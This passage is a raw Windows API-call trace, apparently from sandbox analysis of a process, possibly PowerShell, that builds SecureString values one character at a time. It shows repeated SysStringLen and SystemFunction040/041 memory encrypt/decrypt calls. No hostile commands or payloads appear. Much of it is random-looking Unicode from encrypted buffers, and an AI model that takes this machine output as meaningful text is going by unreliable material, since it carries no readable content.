returned 0x28 [0237.449] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻솫띐鮒䶻폕会\凌") returned 0x28 [0237.449] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.449] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUdz/YQTt氄慻") returned 0x28 [0237.449] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.449] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻튫攊퀼﫷ꥰ䡱盆∄) returned 0x28 [0237.449] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻튫攊퀼﫷ꥰ䡱盆∄) returned 0x28 [0237.449] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.450] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUdz/YQTtd慻") returned 0x28 [0237.450] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.450] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻꾫蕇蹝\胟黏ࠪ﫛䖃") returned 0x28 [0237.450] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻꾫蕇蹝\胟黏ࠪ﫛䖃") returned 0x28 [0237.450] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.450] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUdz/YQTtds") returned 0x28 [0237.450] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.450] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻隫퓆ḝꝅႣ㥚ဳ竛≋) returned 0x28 [0237.450] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻隫퓆ḝꝅႣ㥚ဳ竛≋) returned 0x28 [0237.450] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻隫퓆ḝꝅႣ㥚ဳ竛≋) returned 0x28 [0237.451] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻隫퓆ḝꝅႣ㥚ဳ竛≋) returned 0x30 [0237.451] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0237.451] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUdz/YQTtdsM╁㉷ᥩ퇿蕆ꡣ虁") returned 0x30 [0237.451] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0237.451] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻隫퓆ḝꝅႣ㥚ဳ竛之\ᷘ쵮喎¡렓ꌓန") returned 0x30 [0237.451] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻隫퓆ḝꝅႣ㥚ဳ竛之\ᷘ쵮喎¡렓ꌓန") returned 0x30 [0237.451] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0237.452] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUdz/YQTtdsMg㉷ᥩ퇿蕆ꡣ虁") returned 0x30 [0237.452] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0237.452] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻隫퓆ḝꝅႣ㥚ဳ竛鱋抾︅न收⿔䬎∂) returned 0x30 [0237.452] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻隫퓆ḝꝅႣ㥚ဳ竛鱋抾︅न收⿔䬎∂) returned 0x30 [0237.452] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0237.452] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUdz/YQTtdsMgQᥩ퇿蕆ꡣ虁") returned 0x30 [0237.452] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0237.452] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻隫퓆ḝꝅႣ㥚ဳ竛퉋뙉ｂ욙ᑘ榗♧≠) returned 0x30 [0237.452] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻隫퓆ḝꝅႣ㥚ဳ竛퉋뙉ｂ욙ᑘ榗♧≠) returned 0x30 [0237.452] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0237.452] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUdz/YQTtdsMgQ=퇿蕆ꡣ虁") returned 0x30 [0237.452] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0237.453] EtwEventActivityIdControl () returned 0x0 [0237.454] EtwEventActivityIdControl () returned 0x0 [0237.454] EtwEventActivityIdControl () returned 0x0 [0237.455] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0237.456] EtwEventActivityIdControl () returned 0x0 [0237.456] EtwEventActivityIdControl () returned 0x0 [0237.456] EtwEventActivityIdControl () returned 0x0 [0237.457] SysStringLen (param_1="") returned 0x8 [0237.457] SysStringLen (param_1="N") returned 0x8 [0237.457] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.457] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0237.457] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0237.457] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.457] SysStringLen (param_1="ND") returned 0x8 [0237.457] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.458] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0237.458] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0237.458] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.458] SysStringLen (param_1="NDZ") returned 0x8 [0237.458] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.458] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0237.458] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0237.458] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.458] SysStringLen (param_1="NDZl") returned 0x8 [0237.458] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.458] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0237.458] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0237.458] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.459] SysStringLen (param_1="NDZlO") returned 0x8 [0237.459] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.459] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0237.459] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0237.459] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.459] SysStringLen (param_1="NDZlOD") returned 0x8 [0237.459] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.459] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0237.459] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0237.459] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.459] SysStringLen (param_1="NDZlODR") returned 0x8 [0237.459] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.459] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0237.460] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0237.460] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.460] SysStringLen (param_1="NDZlODRm") returned 0x8 [0237.460] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.460] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0237.460] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0237.460] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0237.461] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0237.461] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.461] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0237.461] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.461] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0237.461] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0237.461] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.461] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0237.461] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.461] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0237.461] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0237.462] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.462] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0237.462] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0237.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0237.462] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.462] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0237.462] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0237.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0237.462] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.462] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0237.462] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0237.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0237.464] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.464] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0237.464] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0237.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0237.464] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.464] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0237.464] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0237.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0237.464] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.465] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0237.465] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0237.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0237.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0237.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0237.466] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.466] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0237.466] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0237.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0237.466] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.466] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0237.466] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0237.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0237.466] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.467] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0237.467] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0237.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0237.467] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.467] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0237.467] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0237.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0237.467] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.467] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0237.467] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0237.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0237.468] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.468] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0237.468] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0237.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0237.468] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.468] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0237.468] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0237.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0237.468] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.469] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0237.469] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0237.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0237.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0237.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0237.469] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.470] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0237.470] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.470] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0237.470] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0237.470] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.470] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0237.470] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.470] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0237.470] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0237.470] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.470] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0237.470] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0237.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0237.471] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.471] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0237.471] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0237.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0237.471] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.471] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0237.471] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0237.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0237.471] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.472] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0237.472] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.472] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0237.472] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0237.472] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.472] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0237.472] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.472] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0237.472] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0237.472] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.472] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0237.472] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.473] SysStringLen 